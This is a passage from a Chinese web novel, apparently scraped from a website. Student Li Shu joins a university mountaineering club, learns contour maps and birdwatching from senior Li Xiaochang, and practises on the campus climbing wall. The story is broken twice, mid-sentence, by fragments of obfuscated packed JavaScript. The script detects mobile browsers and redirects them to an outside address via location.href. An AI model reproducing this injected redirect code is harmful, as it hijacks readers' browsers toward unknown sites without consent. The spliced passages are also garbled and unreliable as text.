黎晓唱觉得自己多了一份责任感,很有必要帮师弟融入到集体中。 她再次打开书包,继续掏掏掏,又拿出一件宝贝来,摊在面前:“小澍你看。” 他凑过来:“这是,等高线地图?” “不错呀,会看么?” “特别基础的……地理课简单讲过吧。”李澍指了指一个闭合的小圈,“这是山顶吧?” “到了山里,就特别有用了。”黎晓唱说,“最近协会要组织定向比赛,我们周六先去定点。回头你要不要参加?” 李澍问:“参加比赛……还是定点?” “都可以啊。” “那你参加比赛吗?” 黎晓唱摇头:“我定点了,自然也不参赛了。” 李澍想了想,“我也没真正实践过,参赛会走丢吧?” “不会,我们还是在安全范围内,登山栈道附近。”黎晓唱说,“协会里好多大牛,当学习了。” 李澍还要说什么,黎晓唱示意他静音:“听。” “笃、笃”的叩击声传来。 李澍指了指斜前方:“那边吗?” “对,那棵榆树上。” 李澍分辨了一下哪棵是榆树,好在对面一排泛黄的银杏摇着小扇子树叶,旁边路口的一株大榆树倒是明显。声音的确是那儿传来的,但他什么都没看到。 “转过去了。”黎晓唱压低声音,“现在在树干后。”她左手比V,右手点了点自己的指关节,“主干分叉,向右的枝干上,有个结疤。看,露出一节红尾巴!” 李澍看她扬起手,顺着方向看过去,依旧是一片摇曳的枝叶:“哪儿?” “那儿,快看,转过来了……有一个斜树枝的前面,顺着我的手指。” 她的手臂就在脸颊旁,李澍莫名有些紧张。沿着她的指尖看过去,终于看到树上蹦跳的鸟儿:“那是……啄木鸟吗?” “对,大斑啄木鸟。”她又重新断句,“大——斑啄木鸟,还有小斑、中斑……幼儿园,哈哈。” 李澍有些喜悦:“我没见过真的啄木鸟呢。” “学校里很常见的还有星头和灰头绿,”黎晓唱说,“下次,我指给你看。” 李澍点头。 黎晓唱说:“那就这么说定了,周六早晨八点西门集合。” “啊?” “不是说好了,去山里定线啊。” 什么时候说好了? 不过看着黎晓唱快乐的神情,李澍知道,这又是一个自己无法拒绝的要求。 11. 第五章 初入山林 自从承接了给黎晓唱答疑的任务,李澍赶鸭子上架,不得不从头翻起课本。 她太有不屈不挠的追问精神了,好多定义和概念此前他一知半解,为了要再复述给黎晓唱,必须得重新回炉,研究透彻,才不至于被她问得哑口无言。 第一周黎晓唱还没借到备用教材,说好李澍去系里上机时收一下她拍的习题照片。 李澍打开电脑,顺便浏览一番BBS的社团版面,在精华区看了一下往年定向比赛的说明和记录。他还在攀岩的目录下发现了之前的教学视频,女生版路线展示正是黎晓唱,她动作舒展轻盈,边爬边解说,看起来毫不费力。 李澍反复看了几次,似乎又领悟了一些要点,忍不住跃跃欲试。要是坐在机房里,戴着耳机,比手画脚,未免显得过于突兀。他拿出纸笔,大致记下她的教学点,收拾书包奔赴岩壁。 入夜时寒意渐生,岩点摸起来有些冰,李澍一边简单活动热身,一边看着岩壁下方的横移线路,大致找到黎晓唱演示的点位。 双手握住岩点,脚也踩上去时,耳畔回响起她在视频中的解说:“重心沉下来,不要锁肩,手臂打直。” “向侧旁移动时,可以顶膝,推胯,靠核心和下肢力量带动身体重心,做整体平衡移动,而不是单纯用手臂拉过去。” 他一边攀爬,一边想,这真可以好好画个受力分析图,哪个部位哪个方向有多大的力,是一种多么微妙而灵活的平衡啊。 还有许多他此前没想到的巧思,比如,有些岩点还可以用手掌去撑,有些可以手脚同点,还有时候放开一只脚的支撑,单脚蹲点反而更省力稳定。 但视频中线路太长,他横向移动几米,就记不清后面的点位了。而且他和黎晓唱身高臂展差异颇大,爬起来常常觉得施展不开。 即便如此,李澍也觉得收获颇丰,和最初生硬笨拙的攀爬相比,似乎窥到些许入门的途径——当然,和视频里自如舒展的黎晓唱相比,还差了十万八千里。 于是回到横移线起点处,静心回忆,再来一趟。 周五夜里寝室不熄灯,男生宿舍都敞着门,大家走东串西,呼朋引伴打牌打游戏。 有人说:“李澍呢,把他叫上。” 探头一看,已经戴上耳机裹着被子睡了过去。 “他今天怎么睡这么早?这刚十二点……” 第二天七点多,通宵鏖战的夜猫子们还在睡梦之中,李澍已经起身吃了早饭,赶去西门和大家汇合。公交车上更多是去买菜和锻炼的老年人,他们几个学生站在一处,叽叽喳喳聊得开心。 一路上黎晓唱还给李澍做了一番景点介绍:“据说杨家将曾经在这一带对抗辽军,佘太君还曾登高远望,所以也叫望儿山。哦,附近还有个地名叫六郎庄,据说杨六郎曾经在村里养伤。” 李澍半信半疑:“真的假的?” “反正民间传说这么说的,听个热闹。”黎晓唱嘻嘻一笑,“你不觉得这样更有气势吗?西北旺这个地名,就是西北望……西北望、射天狼,立刻就觉得有英雄豪气了,是吧?” 射天狼有些远了,但是说到杨家将…… “这么说也对,”李澍想了想,“燕云十六州,杨家将里七郎八虎闯幽州,不就是北京么?” 黎晓唱惊讶:“小澍你知道挺多呀。” “评书里听来的,我爸经常听。” 于是在黎晓唱的追问下,变成李澍给她讲勇闯幽州的一段。公交车走走停停,一站站过去,似乎他上大学后,就没有一口气和别人说过这么多话。 一行人进入森林公园,从后山沿小路前行,树上还挂着一些红红黄黄的叶子,但时近暮秋,稀稀落落。枯叶铺了一地,踩上去咯吱作响,枝丫间透出的天空湛蓝高远,空气似乎都更为清冽。 黎晓唱从背包里掏出小望远镜,挂在脖子上。几个老队员拿着地图,对照周围山势,寻找适宜的点位加以标记。 李澍借着身高优势,站在外圈打量。等高线的原理并不陌生,他也提前熟悉了地图,但将密集的曲线和眼前的山势对应起来,他觉得自己的反应完全跟不上众人的讨论速度。 在路边取了两个点,众人沿山路继续前行。 黎晓唱问:“怎么样,还挺有意思吧。” 李澍挠头:“有点……没跟上。” “没事儿,那是因为我们来过好多次了。”黎晓唱站在山路转折处,指着起伏的山势,和图上一一对应,“你看,这两个是山顶,图上这个葫芦腰,对应的是它们中间的鞍部;这里线条密集,说明地势陡峭,喏,这是峭壁;这个弯曲的部分,对应那边的山谷……” 李澍豁然开朗,图上指纹般圈圈划划的线条,忽然变得立体起来。他由衷道:“师姐识图能力也太强了。” “好歹我也是出野外的人。”黎晓唱晃着脑袋,神色颇为自豪,但还是谦虚了两句,“也是因为从小就看吧。” 李澍好奇,她儿时的爱好也是与众不同。 “我爸是做工程的,修路,我小时候还跟着搬了两次家。”黎晓唱解释道,“我特别喜欢看地图,再和眼前真正的山川对应起来;沙盘也很有趣,就和微缩玩具差不多。” 众人身姿矫健,黎晓唱在林间步履格外轻盈,不时拈起路边的小果子和同学讨论一番,或举起望远镜寻找林间的鸟儿。 李澍提起一口气,跟紧队伍,虽然也觉得心跳加速,但走走停停间,也很快将呼吸调整过来,感觉最近的跑步没有白练。但爬山用到的肌肉群还是不一样,臀腿的酸胀感逐渐累积。他暗自咬了咬牙,跟上大家的节奏,不在人前显出疲态来。 回想黎晓唱背着巨型登山包反复爬楼梯的景象,这样平缓的坡度对她来说如履平地,所以无论何时她都说说笑笑,不知疲倦的样子。 有蓝色大鸟拖着长尾飞掠而过,李澍扭头去看,还没待发问,黎晓唱便说:“红嘴蓝鹊。” “有点像……喜鹊?就是学校里也常见的那种。” “哦,校园里常见的,灰蓝色的是灰喜鹊,颜色更深体型大一些的才是喜鹊,”黎晓唱解释道,“都是鸦科大佬,还组队打群架呢,不要招惹它们哟。” 林间的红嘴蓝鹊扇动翅膀,扑棱棱飞过,尾羽细长飘逸。 黎晓唱努努嘴:“校园里也有红嘴蓝鹊,不多;附近山区就比较常见啦。” “那边,还有一只北红尾鸲。”黎晓唱向右前方指去,“大小和麻雀差不多,腹部看起来是橙红色。” 李澍接过她手中的望远镜,仿佛看到了什么,但手一晃,眼前一花,就分不出自己看的是哪个树枝了,一时有些窘迫。 他看向身边的黎晓唱。 她正仰起头,抬手在眉前挡着阳光,眼睛半眯着,另一只手指向林间:“现在,跳到后面那棵树上了,咦,这个季节居然还没有飞走的小家伙,是要留下来过冬吗?” 顺着她手指的方向,李澍只看到一片棕褐色的枝干和寥落的黄叶。 黎晓唱看他高高低低晃着脑袋,轻声提醒:“你先看好位置,比如,那两个树枝的交叉点,然后头和眼睛不要动,再把望远镜扣上去,这样,看到的就还是刚刚的位置了,是不是?哎呀,飞走了……” 别说没看到鸟儿,连名字李澍都只听了个大概,大致确定“北红尾”三字的写法,但“qu”是哪个字? 他有些尴尬:“我之前就认识麻雀,喜鹊……哦,刚知道灰蓝色那个叫灰喜鹊。” “还有大斑啄木鸟呀。”黎晓唱嘻嘻一笑,提醒他。 老吴回头:“正常正常,我们总爬山,也不认识那么多。但协会里有几个人是很厉害的,再糊的照片,看一眼就可以告诉你是什么鸟。” “观鸟我也不算高手,就认识常见的,再结合环境。”黎晓唱解释,“就像在岩壁下,远远看到你们几个,就算看不清脸,我也大概知道谁是谁呀。” “不过,”她跳上一块大石头,举目眺望,“这儿的确是观鸟的好地方,山顶有个平台,春秋两季特别适合观测猛禽迁徙,前段时间我们还来过两次。” “别提了,”曾勇插话,“那天上午跟着他们来,远远看到十几只,他们讲了怎么分辨,我也没大记住……这时候飞过去一群,我可激动坏了,然后黎晓唱告诉我,说那些是大嘴乌鸦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116225|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“谁让你中午就回去了?”她笑起来,“那天下午真是大爆发!” 李澍问:“现在还能看到吗?” “最近有点晚了。”黎晓唱摊手,“明年春天吧。” 他“哦”地应了一声,略有失望。 “没事,到时候多来几次,肯定能看到的好多猛禽过境。”黎晓唱安慰道,“它们是很守约的。” “想想看,也很神奇的对不对?”她极目远眺,指着东南方向,“那边就是繁华的城市,但向西向北就是群山。我们站的这个山头看起来小小的,但就像山林延伸到城市里的一个小岛。那些猛禽每个迁徙季要飞成千上万公里,年复一年。它们飞到这里,沿着山脊翱翔,眺望远处不断变化的城市,是不是也会觉得很奇妙,咦,怎么和前两年不一样呢?我们有没有飞错?我就想,城市上空出现的,是不是就是其中好奇心旺盛的几只?” “而且,它们还是空气动力学高手,那些我们看不到的热气流和山间的动力气流,它们都能感受到。”黎晓唱张开双臂,衣角被风吹起,“就这样借着上升气流不断盘旋,不断上升,一路向着目的地,翻山跨海,特别坚毅、特别无畏,是不是?” 几个人一同站在山边,视野中一侧是连绵起伏不见边际的群山,一侧是远处鳞次栉比的高楼大厦,湛蓝高远的天空中,云朵层层叠叠,像是连起一道通向远方的长路。 她看向远方,而他此刻看向她。 说起这些时,黎晓唱的神情都变得与往常不同。她依旧笑着,但不是平日里嬉闹玩笑的模样,那是一种满是向往又坚定沉着的神情。 阵风吹得猛,扬起她的头发,在金色的秋日阳光中闪闪发亮。 今后的许多年,当李澍进入山林或是驾车行驶在盘山公路上,看着远处的天与云,都会想到她脸上熠熠生辉的样子。 但黎晓唱沉静不了多久,过两分钟又变回熟悉的模样。 沿途有人问:“你进山看到过野生动物吗?” “当然有啊。” “那,熊猫呢?” “呃,这个,到目前还真没有……”黎晓唱应道,“没有那么常见的。而且不是想象中那种,觉得大熊猫黑白分明特别好找,真到了林子里,它离你几十米,都不一定看得见!” 李澍好奇:“那,你们怎么做研究?” “现在有红外相机啦,而且我们……”黎晓唱眼珠一转,“你听说过那个笑话吗?” 什么笑话,她怎么攒了那么多笑话? 她自己先笑得不行,好半天才稍微平静一些,继续说:“就是,一个人问另一个人,你有《时间简史》吗?另一个人回答,我有时间,也不去捡那玩意。” 李澍不知道该不该报以微笑,这也太冷了。 黎晓唱强忍笑意,继续说:“但这个笑话对我就不一样了。我有啊,我在山里的时间都用来‘简史’,哈哈。对,实验室有冰柜,里面还有样品呢。” 曾勇制止她:“知道你说的是科学,但可以打住,不要再说了,马上就中午了!” 李澍也木然。他印象中,保护大熊猫,还是照看满地打滚、会抱饲养员大腿的乖萌团子。不要残忍打破少年的美好想象啊! 众人说笑间已经在山中转了一上午,确定了所有点位,又拍了各种或正经或搞怪的照片。回到山下,在路边随便找了家小店,愉快地吃了驴肉火烧,一人一大碗漂着翠绿葱花的清汤,在深秋的午后,只觉得身上暖洋洋的。 隔两日李澍去上网,搜索了一下北红尾鸲的写法,顺便看了关于校园常见鸟的科普贴。又收到那天山上的照片,一张张看过去,忽然紧张起来。 黎晓唱盘坐在凉亭的长椅上,侧身笑着,眼睛都眯起来,而自己就在她旁边,微笑着看过去,好像两个人在对视一样。 他不知道为什么,就觉得尴尬扭捏起来。 稍微平静,才想起来应该是她在说出野外的趣事,照片上一群人都在笑着看她,并不是他自己。 只不过,他第一眼的关注点,并没有放在其他人身上。 李澍长吁一口气,再看那张照片——她笑起来,真是好看呢。 12. 第五章 (下) 之后的一段时间,李澍每天的行程都相对固定,读书做题、回顾视频,隔日或去跑步,或去岩壁,有时候夜里作业写不完,便第二天中午去岩壁挂半个小时,再买几个包子或卷饼当作午饭。 只是即使他坐在自习室里,看着书本上的习题,却也时常想起黎晓唱在视频中的讲解。尤其是看着书本的例题和草纸上密密麻麻的推演公式,脑中毫无头绪时,他揉着太阳穴,笔尖在纸上随意乱画,过了片刻,觉得自己似乎画的是攀岩横移练习的路线。 想起她说:“不要单纯追求爬得快、爬得高,每次从一个点到下一个点,都要稳扎稳打,要不断找到更适合自己的、更有效的方法” 李澍反复默念几次,只觉得柳暗花明、豁然开朗。 他何尝不是过于专注于如何将题目解出来,所以更多的时候是在寻找做题的技巧。 然而因为要讲给黎晓唱,面对她无数个为什么,就需要对知识结构有更加深入透彻的了解。 她提出的许多问题,其实答案就暗藏在证明的过程中。 如果自己也能静心下来,在每个环节都多问自己一句为什么,每个概念和定理都能知其然且知其所以然,基础牢固,才可融会贯通。 这是中学时老师也强调过的,只不过那时教学强度和知识密度不似大学,他从未为哪门科目头疼过,也没仔细思考过这些学习方法背后的逻辑。 想通这层,便觉得打通任督二脉,似乎心底的斗志又重新燃烧起来。 日子过得紧锣密鼓起来,但好像也没觉得多疲累,反而每天回到寝室倒头就睡,醒来便觉得又是充实的一天,有许多想做和要做的事儿。变少的,只是发呆和打游戏的时间……周末去了两次网吧,平时也不怎么惦记,生活中也没觉得缺少了什么。 某天傍晚,黎晓唱和几位队友约了去练体能,跑步热身时路过岩壁。 隔着铁丝网,瞥见有人在岩壁上横移,他似乎在尝试一条固定线路,但既定的点位对他而言有些憋屈,长胳膊长腿无处安置。 有一处应当变抓为撑,但对他来说,胳膊肘弯出好大一个角度,无法充分发力。 她侧头看了一会儿。队友凑过来:“哎,那是李澍,来得早哦,是没吃饭?咱们去和他爬会儿?” 黎晓唱本想点头,略一思索,又拦住队友:“算了,我们继续跑步,让他自己琢磨琢磨。” 她多少有些明白小师弟的想法,人多时他明显更加拘谨,反而束手束脚。 众人说说笑笑,沿着湖继续跑圈。 跑出去几步,黎晓唱若有所思,在队尾放缓脚步,又折返到铁丝网前。她歪着头,认真看了几分钟。 李澍背对着她,爬得投入,并不知道有人在注视自己。他在脑海中不断回想视频中的动作要点,试图复刻每一个细节。 但这些点的距离,对他来说,似乎有些…… “有点短,施展不开,是吧?” 那一瞬他以为是出现在自己脑海中,视频里她的解说声,还点了点头,说:“是哦。” 忽然意识到,是真的有人在说话,连忙转身。看见黎晓唱扒着铁丝网,笑眯眯看着他。 她问:“你爬的,是我的教学视频路线吧。” 一瞬间,李澍有被人看穿心思的窘迫,耳朵隐约发热。 “那是女子线,不太适合练动作。” 她依旧扒着铁丝网,李澍挠着头。 黎晓唱“扑哧”一声笑出来:“等我进去和你说,隔着网和看猴儿似的。” 她自己窜上窜下,也不知道谁更猴儿一些? 黎晓唱小跑着,片刻便到了李澍面前:“把胳膊张开。” 她刚已经跑了两三公里,微仰着头站在他侧旁,李澍可以看到她额头微微出汗,刘海贴在上面,脸颊和鼻尖红扑扑的。 她就在近在咫尺的地方,告诉他张开双臂。这是一个拥抱的姿势吗?李澍一时僵住,不知如何应对。 黎晓唱点了点攀岩墙上一个黄色的碗状大点:“右手抓住它,胳膊张开,我看你左手最远够到哪儿。” “我看啊,两块板多一些。”黎晓唱又指挥他摆了几个造型,记下大致距离,“好了,下来吧,我想想看。” 她托着腮,看着岩壁思忖片刻,又走上前摸着岩点,琢磨发力角度,每一步都将手脚尽量伸长,还在岩壁上连蹦带跳的,过了几分钟,在刚才的基础上,重新修订出一条新线路来,笑着看向李澍:“这回你再试试呢?” 李澍依言,在岩壁上试爬一段,和脑海中的动作顺序一一对照,果然舒展许多。 “这就对了。”黎晓唱笑,“之前你一伸手就够到下一个点了,哪里还需要侧蹬?反而多了一个动作。” 李澍赧然:“是,我就是想练练基本功。” “看出来了呀,所以我改动了一下。这些点记住了么?” 李澍点头,在黎晓唱的注视下爬了两遍,她又纠正了一些技术细节。 “好像新人里面没谁像你这么高。”黎晓唱拍拍岩点,“这就是你的专属训练线了。那你好好爬,我练体能去了,回头再检查哦!” 体能训练的队伍又跑了一圈,有人问:“诶,少人了呢?黎晓唱呢?” “谁知道,去洗手间了吧?” 一个身影从岩壁那边飞奔而来:“来啦来啦!” 祁飞说:“你不是说别打扰李澍么?” “那也不能看他自己乱爬呀,”她嘻嘻一笑,“再怎么说也是我招的新。” 李澍将这条横移线爬熟练,似乎找到了一些蓄力发力的感觉。隔了两日再试视频中另一条线,学着黎晓唱对线路进行调整,觉得和前几天比自如轻松了许多,不禁连爬了一两个小时,直到小臂肌肉紧张,指尖微痛。 眼看距离期末考试还有一个月,他比期中已经从容许多。 虽然还有一时难以理解的定理,但基础部分已经烂熟于胸,加上给黎晓唱讲过一遍,众多知识点融会贯通,即使遇到不会的题目,也明白自己卡壳卡在什么地方,再不像原来一样,碰运气一般找公式随意套用。 因此也有了足够的信心和勇气,去任课老师的办公室找他答疑。 说起来,在以前十多年的求学过程中,李澍极少找老师答疑——因为他的数理化总是接近满分,难得有他做不出的题目。即使偶尔有,老师稍加点拨,便茅塞顿开。 这是他第一次因为功课和老师同学们长时间地切磋讨论,甚至感受到一些你来我往的智力碰撞的快乐。 而教授们也不是对所有的问题能够立刻给出答案,有时候也会为了他的一个想法而推演论证,最后面对写满公式的几页纸,欣慰地赞许一句:“这个问题问得不错,有想法。” 走出学院办公楼,他翻了翻手头的教材,其中依旧有许多未知,但刚开学时的恐惧感似乎日渐消散。 连黎晓唱都感觉到了他的变化。 二人在自习室答疑到楼管撵人,收拾了书包,向宿舍区边走边聊。 已经是初冬时分,没了树叶的阻挡,主路上隔一段就是一圈路灯暖黄的光晕。 黎晓唱捂着围巾,缩紧脖子,怀中还抱了一摞论文集,两个人继续讨论了其中几处细节。李澍认真阐释,黎晓唱歪头看他,频频点头,笑道:“小澍,你的讲解越来越有条理了。” “是吗?”他有些赧然,“可能最近看了一些背景资料,有点明白这些研究方法的深层逻辑了吧。” “嗯,而且,越来越自信了。” “说起来,也要谢谢师姐。”李澍诚心道,“如果不是你问我,好多基础知识我也是一知半解。” “哎呀,太客气了,当然是我要谢你啦。”她笑声清脆,“不过的确,每次给别人讲,对自己来说也是深入思考和梳理知识结构的机会。” 说到这儿,她连忙摆手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116226|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我不是要自居有功啊。这是我们寝室的学霸说的……每次我们特别多问题问她,怕耽误她时间,凝凝总是说没关系,自己也正好梳理一下。” 李澍点头:“的确如此。” “其实有时候我说的话,听起来很有哲理吧……”黎晓唱大言不惭,但又解释道,“多数是凝凝说的,我觉得有道理就记住了。” 李澍莞尔,心想,是啊,讲各种冷笑话大概更接近你的本色。 黎晓唱继续说道:“比如,她用攀岩打过一次比喻,我就觉得,的确很像呢。有的动作就是需要反复练习,有的就是别人能轻易做到我却需要重复几十次上百次……总是需要不断锤炼才能进步。” 李澍说:“我也有感觉,越是遇到难题,就越得把基础打扎实了。攀岩也是,学习也是。” “对呀。”黎晓唱扬着论文集,几乎手舞足蹈,“有的线路开始的时候会觉得,这怎么是人能爬上去的?有的论文开始会让人觉得,这种天书怎么可能懂?谁知道两个月后……哦,我也还没完全懂……但大概我知道它在说什么了呀!” 李澍感慨:“师姐你真的很喜欢自己的专业吧?所以那么让人头疼的内容,都有决心啃下来。” “是啊,特别特别喜欢。”黎晓唱抱着论文集,眼中有光,“能去到别人去不到的遥远地方,看到别人看不到的壮丽景色,能做自己真正想做的事情。虽然好像有很多人在关注动物保护,但和广阔的自然相比,真正从事相关工作的就这点儿人,全国散出去,真的是太少太少了。个人的力量本来就很渺小,如果我再什么都不会……”她轻声叹气,“真的,有时候雄心壮志,有时候又觉得,我到底能做些什么呢?” 李澍看着她眼中的星星一点点暗下去,翕动嘴唇,想说些什么,但又需要时间重新组织语言。 黎晓唱看他也沉默,摆了摆手:“没事没事,我牢骚一下。” “我觉得,师姐是特别厉害的人,又乐观,又有毅力……”李澍缓缓开口,“你也说了,这些已经是研究生的专业内容,现在看不懂不也是正常的么?你可以为了出野外去爬楼锻炼,这些论文,有一天也能慢慢爬完。” 黎晓唱点头:“一定。” “其实我刚入学的时候,才真的是挺颓的,高中哪经历过做题不会、上课睡觉的事儿……”李澍犹豫片刻,还是讲出来,“那时我觉得自己和这个学校格格不入,觉得老师们说的百分之十的退学率就要轮在我头上,总有一天我要成为专业弃徒……但现在觉得,我好像也没那么废,及格毕业总应该没问题吧?” 黎晓唱笑起来:“那是一定的。在我心中,小澍你可聪明了,真的!特别厉害!我们俩这么用功,下学期怎么也得拿个奖学金吧!” 李澍也笑:“我们都觉得对方厉害,会不会是因为……我们差的程度半斤八两?” “也对,哈哈,我们是两个学渣互相安慰,商业互夸。”黎晓唱也笑起来,“不,我们才不是呢,对吧?” 她笑得太欢乐,帽子都晃歪了,快要从头发上滑下去。 暖黄的路灯下,帽子边缘的绒线和发丝都半透明一样,毛茸茸的,让人心里也软软的。 李澍很想伸出手,帮她把帽子戴好。想着想着,小臂微微抬起,蜷缩的指尖想要打开,蠢蠢欲动。 这时,一摞论文“噌”地塞了过来。 她说:“帮我拿一下。” “哦。”厚厚一摞砸在手中,李澍手一沉。 “哎呀,这个帽子好像有点小。”说话之间,她已经又把帽子戴好,还用力地向下压了压。 抬起头,看见李澍微张着嘴,神色有些僵硬。 “小澍,怎么了?”她晃了晃手指,“我们肯定不是学渣呀,大学生活虽然没有高中那么简单,但还是挺快乐的,是不是?” 他,又能说些什么呢? 但是,真的如她所言,还是挺快乐的。 13. 第六章 新年快乐 新年将至,按照传统,登山协会筹划举办跨年夜攀,提前两周便约在岩壁下商讨细节,确定分工。 几位老会员领了各自牵头的任务,新老成员结伴,分了几组,宣传组织、确定线路、挂线保护、灯光音响、餐饮保障等等,一群人越聊越兴奋,也暂时忘记了期末考试的压力。 黎晓唱在线路组,和队员们顶了几条攀爬线路,逐一试线修订。她在斜壁爬到高处,一回头,看见大门外有人走进来,连忙招呼保护员:“快快,放我下来,拓哥来啦!” 一落地,她便解了保护绳,开心地跑过去:“拓哥好,什么时候回北京的,没听你说起呀。” “有几天了,忙点别的事儿。”方拓笑,“祁飞说下学期打算换一批新岩点,找我来一起看看。” “来都来了,”黎晓唱嘻嘻一笑,“顺便指导指导呀。” “我就过来看一眼,大冷天的,热身都热不起来,”方拓摸了摸岩点,“到底是年轻人,有拼劲儿。” 众人笑:“你平时爬雪山还在乎这点温度?” 方拓轻哂:“怎么不说爬雪山穿得多暖和?这岩点都冻手。回头吧,去岩馆。” 黎晓唱叹气:“啊,最近要期末了,事情比较多,寒假还得去实习。” 方拓问:“那攀冰还去吗?” “想去啊,最近周末看看冰况,去两次吧。真放假可能就要去野外了。” 方拓问:“这学期你们几个去岩馆了吗?” 有人点头,有人摇头。 黎晓唱说:“倒是想多去,但是这学期一直在补课,岩馆太远了。” 方拓笑:“呵,在你心里,竟然有比攀岩更重要的事儿了?” “唉,进组后受到的打击太多了……不提了,都是眼泪。” 方拓和祁飞等人检查了若干岩点,根据目前的发展趋势,计划再增加一些新造型。 祁飞说:“拓哥你认识的代理商多,询价比价就拜托了。” “没问题。”方拓点头,“学校队里的气氛是好的,但是现在社会上的攀岩力量发展很快,有时间多交流。” 黎晓唱摊手:“你们D大校队的特招生也越来越强悍了。” “可不是,都是训练多年的专业水准,如果现在我还在队里,估计也排不上号了。”方拓笑,“你不会这就认输了吧?” “那不至于。”黎晓唱神色轻松,“攀岩又不是为了那一天的比赛,我还挺想和燕子她们一起爬的,多学习才有进步嘛。” “就是,一起玩就对了,互相激励。”方拓逗她,“今年比赛,保二争一?” 黎晓唱不以为然:“目标当然要定在第一啊,哪有还没比就先甘拜下风的?” 虽然嘴里说着无所谓,但她还是忍不住叹了口气:“人家毕竟天天练,我可能,是最后一次参赛了吧……” 方拓问:“怎么,手腕的伤还没养好?” 黎晓唱摇头:“明年要跟个项目,大部分时间要进山了。以后的比赛,就要看年轻人了。” “老气横秋的,”方拓揶揄,“你才多大?” 李澍不认得方拓,刚刚从众人的议论中,大概知道他曾是D大攀岩队的主力,后来也一直没有离开攀登圈,和本校攀岩队一向交好,也会经常互相走动。 看起来他和祁飞、黎晓唱等老队员都格外熟稔,一路绕着岩壁边走边聊。她在方拓面前也和个小孩子一样,叽叽喳喳说个不停;他似乎也格外有耐心,听她说话时微低着头,脸上总是挂着微笑。 正观望着,冷不丁黎晓唱转过头,也向着他看过来。 李澍有一种偷窥被抓包的紧张感,连忙低头,随便找了件装备整理起来。 黎晓唱招手:“小澍你来一下呗,爬爬这条线,让拓哥看看。” 他应了一声,心里有些不情愿,一时也说不上为什么。 但当着众人,他也不好直接拒绝,只能穿戴整齐,抬头观察了两分钟新线路,攀爬时分外认真,尽量将每个动作做到精准利落。 “这是你说的新人?”方拓说,“读线能力不错,基本功也挺好,就这样继续练,没问题呀。” “我是觉得小澍身体条件不错,有点像拓哥你呢。”黎晓唱嘻嘻一笑,递上安全带,“拓哥,你也爬一遍这条线呗。” “都说了没热身……这大冷天的。”方拓缩了缩脖子。 “哎呀,这种简单线,在拓哥眼中,不就是个热身线吗?”黎晓唱拿出阿谀奉承的架势,“做个示范,回头我,哦不,让队长请你吃鸡腿饭嘛。” 祁飞在一旁,脸上挂了个问号,怎么这就被卖了?但本来也没错,便说道:“拓哥大老远过来,一会儿一起吃火锅去吧,我请。” 方拓摇头:“你个小丫头,就知道算计我,说到最后还得爬。”但还是从包里拿出攀岩鞋。 黎晓唱还嘱咐:“动作要丰富,别连蹦带跳的,多考虑一下新人水平哈!” 方拓半笑半嗔:“求人办事儿,要求还挺多!下次不来了。” 他不仅爬了李澍刚刚登顶的线路,还额外又爬了其他几条新线,和众人商议着加以修订。 黎晓唱站在一旁,将他的攀登都录了下来。 她侧身对李澍说:“回头我发给你,你多看看拓哥的动作,他的攀爬经验很丰富,而且你们身高臂展相仿,还是很有借鉴意义的。” 李澍“哦”地应了一声。 不得不承认,方拓的攀爬能力比他不知道高了几个段位,简洁有力,干净利落,而且许多地方有他想不到的身形变化,以及顺势接力的巧思。 相比之下,自己的攀爬便显得邋遢笨拙。 黎晓唱还在说:“重复也是一种学习,除了基本功和力量练习,建立丰富的动作库也很重要。” 李澍应了一句,看她一脸崇拜,语气有些不耐烦:“我都知道了。” 黎晓唱有些惊讶地看他:“咋还来脾气了?” “没啊……”他整理心情,“一条线怎么也得琢磨一周,就要期末考了……不是要换岩点?” “哦,没那么快。”黎晓唱安慰他,“重新设计规划,再加上施工,换点怎么也得明年夏天了。等开春的呗,岩壁又跑不了。” 李澍嘴里应着,但看到方拓手法娴熟整理装备,攀岩和登山的趣事信手拈来,众人都围在一旁听得入神,他心情难免有些低落。 说到近期行程,方拓提起又去了慕士塔格,众人一脸欣羡。 “拓哥你都去了好多次了吧?”黎晓唱说,“凝凝家就是新疆的,还说就算不登山去旅行也不错,我其实是想去观鸟,她说有的是金雕和黑鸢。” 话音刚落,她忽然想起什么,连忙打探方拓神色,解释道:“我寝室的,唐凝,她家是独山子的。” 方拓神色如常,祁飞面无表情。 黎晓唱找了个由子,从众人的圈子里挤出来,揪着李澍和两个新人去侧边的线路练习,嘴里念着:“完蛋了,一下刺激了俩人……” 李澍奇道:“怎么了?” “我说的凝凝是唐凝,但拓哥之前的女朋友好像也叫宁柠……” 李澍暗自松了口气,又好奇道:“之前?现在呢?” “不知道啊,好久没见拓哥了。” “刚才……没人问问?” “拓哥是前辈,我们怎么好当面那么八卦?”黎晓唱笑,“咦,你今天怎么这么八卦?难不成……你对拓哥还有啥想法?” 隔两日,黎晓唱便在资料库里更新了方拓的攀登视频,还通知李澍去学习。 他依言下载,坐在机房里认真观摩,思绪平静后,发现他的攀爬格外有参考价值,尤其是对于自己而言——因为身体条件相似,他可以完全按照方拓的攀爬路线和方式进行复刻。 某些自己读线时困惑的难点,都被他以更轻巧省力的方式化解。 看到视频中的他认真展示讲解,李澍赧然,觉得自己当天表现得过于小家子气。 作为一个新手,技不如人是正常。但他既没有和方拓取经,也没有当面致谢,未免有些不懂事。 只是,真的在这样广阔天地中,才发现强中自有强中手。学业如是,攀岩亦如是。 